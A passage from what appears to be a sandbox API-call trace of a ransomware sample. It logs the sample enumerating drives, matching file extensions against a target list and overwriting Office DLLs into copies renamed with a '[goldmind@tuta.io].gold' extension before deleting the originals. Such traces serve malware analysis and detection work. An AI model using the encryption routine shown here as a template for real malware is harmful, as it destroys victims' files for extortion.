dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.956] SetEndOfFile (hFile=0x200) returned 1 [0053.958] CloseHandle (hObject=0x200) returned 1 [0053.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.958] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 1 [0053.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.958] lstrlenW (lpString=".doc") returned 4 [0053.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0053.958] lstrlenW (lpString=".docx") returned 5 [0053.958] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0053.958] lstrlenW (lpString=".pdf") returned 4 [0053.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0053.958] lstrlenW (lpString=".xls") returned 4 [0053.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".xlsx") returned 5 [0053.959] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0053.959] lstrlenW (lpString=".ppt") returned 4 [0053.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".zip") returned 4 [0053.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".rar") returned 4 [0053.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".bz2") returned 4 [0053.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString=".7z") returned 3 [0053.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".dbf") returned 4 [0053.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".1cd") returned 4 [0053.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".jpg") returned 4 [0053.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".doc") returned 4 [0053.959] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".docx") returned 5 [0053.959] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0053.959] lstrlenW (lpString=".pdf") returned 4 [0053.959] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".xls") returned 4 [0053.959] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".xlsx") returned 5 [0053.959] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0053.959] lstrlenW (lpString=".ppt") returned 4 [0053.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".zip") returned 4 [0053.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".rar") returned 4 [0053.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0053.959] lstrlenW (lpString=".bz2") returned 4 [0053.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString=".7z") returned 3 [0053.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".dbf") returned 4 [0053.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".1cd") returned 4 [0053.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0053.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0053.959] lstrlenW (lpString=".jpg") returned 4 [0053.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0053.960] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0053.960] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0053.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.963] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=502168) returned 1 [0053.963] CloseHandle (hObject=0x200) returned 1 [0053.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0053.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.963] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.963] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.963] GetLastError () returned 0x0 [0053.963] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x7a998, lpOverlapped=0x0) returned 1 [0053.973] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x7a9a0, lpOverlapped=0x0) returned 1 [0053.980] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0053.980] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0053.980] SetEndOfFile (hFile=0x184) returned 1 [0053.980] CloseHandle (hObject=0x184) returned 1 [0053.980] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0053.980] SetEndOfFile (hFile=0x200) returned 1 [0054.996] CloseHandle (hObject=0x200) returned 1 [0055.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 1 [0055.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.159] lstrlenW (lpString=".doc") returned 4 [0055.159] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.159] lstrlenW (lpString=".docx") returned 5 [0055.159] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0055.159] lstrlenW (lpString=".pdf") returned 4 [0055.159] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.159] lstrlenW (lpString=".xls") returned 4 [0055.159] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.159] lstrlenW (lpString=".xlsx") returned 5 [0055.159] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0055.159] lstrlenW (lpString=".ppt") returned 4 [0055.159] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.159] lstrlenW (lpString=".zip") returned 4 [0055.160] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".rar") returned 4 [0055.160] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".bz2") returned 4 [0055.160] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString=".7z") returned 3 [0055.160] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".dbf") returned 4 [0055.160] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".1cd") returned 4 [0055.160] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".jpg") returned 4 [0055.160] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".doc") returned 4 [0055.160] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".docx") returned 5 [0055.160] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0055.160] lstrlenW (lpString=".pdf") returned 4 [0055.160] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".xls") returned 4 [0055.160] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".xlsx") returned 5 [0055.160] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0055.160] lstrlenW (lpString=".ppt") returned 4 [0055.160] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".zip") returned 4 [0055.160] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".rar") returned 4 [0055.160] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.160] lstrlenW (lpString=".bz2") returned 4 [0055.160] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString=".7z") returned 3 [0055.160] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".dbf") returned 4 [0055.160] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.160] lstrlenW (lpString=".1cd") returned 4 [0055.160] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0055.161] lstrlenW (lpString=".jpg") returned 4 [0055.161] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.161] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0055.161] lstrlenW (lpString="CsiSoap.dll") returned 11 [0055.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.161] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1784192) returned 1 [0055.161] CloseHandle (hObject=0x240) returned 1 [0055.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0055.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0055.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.162] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0055.162] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.162] ReadFile (in: hFile=0x240, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.247] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.247] ReadFile (in: hFile=0x240, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.253] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.253] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.253] ReadFile (in: hFile=0x240, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.275] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.276] WriteFile (in: hFile=0x240, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0055.556] SetEndOfFile (hFile=0x240) returned 1 [0056.460] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x40040f8 [0056.462] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0056.462] WriteFile (in: hFile=0x240, lpBuffer=0x40040f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x40040f8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.463] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0056.463] WriteFile (in: hFile=0x240, lpBuffer=0x40040f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x40040f8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.465] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0056.465] WriteFile (in: hFile=0x240, lpBuffer=0x40040f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x40040f8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.467] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x40040f8 | out: hHeap=0x880000) returned 1 [0056.467] CloseHandle (hObject=0x240) returned 1 [0056.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) Thread: id = 18 os_tid = 0x520 [0033.901] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x38f06c0 [0033.902] lstrlenW (lpString="C:") returned 2 [0033.902] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8d1028 [0033.902] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.902] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.902] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.902] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0033.902] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.902] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x970d68 [0033.902] FindNextFileW (in: hFindFile=0x970d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.903] FindNextFileW (in: hFindFile=0x970d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.903] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.903] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.903] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.903] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.903] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.903] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.903] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x971db0 [0033.903] FindNextFileW (in: hFindFile=0x971db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.903] FindNextFileW (in: hFindFile=0x971db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.903] lstrlenW (lpString="desktop.ini") returned 11 [0033.903] lstrlenW (lpString=".1cd") returned 4 [0033.903] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.903] lstrlenW (lpString=".3ds") returned 4 [0033.903] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.903] lstrlenW (lpString=".3fr") returned 4 [0033.903] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.903] lstrlenW (lpString=".3g2") returned 4 [0033.903] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.903] lstrlenW (lpString=".3gp") returned 4 [0033.904] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".7z") returned 3 [0033.904] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.904] lstrlenW (lpString=".accda") returned 6 [0033.904] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".accdb") returned 6 [0033.904] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".accdc") returned 6 [0033.904] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".accde") returned 6 [0033.904] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".accdt") returned 6 [0033.904] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".accdw") returned 6 [0033.904] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.904] lstrlenW (lpString=".adb") returned 4 [0033.904] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".adp") returned 4 [0033.904] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai") returned 3 [0033.904] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.904] lstrlenW (lpString=".ai3") returned 